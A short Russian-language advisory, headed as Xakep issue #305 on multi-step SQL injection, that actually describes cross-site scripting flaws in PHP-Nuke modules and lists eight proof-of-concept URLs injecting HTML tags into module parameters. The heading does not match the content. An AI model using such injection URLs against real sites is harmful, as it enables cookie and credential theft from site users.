Xakep #305. Многошаговые SQL-инъекции
PHP-Nuke - популярная Web-портальная система.
Злонамеренный пользователь может создать ссылку к сценарию 'module.php' (модуль для форума), которая содержит злонамеренный код. При нажатии на ссылку не подозревающим пользователем, злонамеренный код сценария будет выполнен в контексте уязвимого сайта. Уязвимость позволяет перехватывать опознавательные мандаты, хранящиеся в куки.
Примеры:
http://nuke/modules.php?op=modload&name=Web_Links&file =index&l_op=viewlink&cid=%22%3Ch1%3EI%20Love%20XSS%3C/h1%3E
http://nuke/modules.php?name=Classifieds&op=ViewAds&id _catg=%22%3Ch1%3ESmelly%20socks%20category%3C/h1%3E&id_subcatg=75
http://nuke/modules.php?op=modload&name=Guestbook&file =index&entry=%22%3Ch1%3Etest%3C/h1%3E
http://nuke/modules.php?name=Your_Account&op=userinfo& uname=%22%3Ch1%3Etest%20123%3C/h1%3E
http://nuke/modules.php?name=Stories_Archive&sa=show_month& year=2002&month=03&month_l=Replugge%20Love%20PHPNuke%20
http://nuke/modules.php?name=Stories_Archive&sa=show_month& year=Love%20this&month=3&month_l=Replugge
http://nuke/modules.php?name=Surveys&pollID=%22%3Ch1 %3Etest%3C/h1%3E
http://nuke/modules.php?op=modload&name=WebChat&file= index&roomid=%22%3Ch1%3EBugger%20You%3C/h1%3E
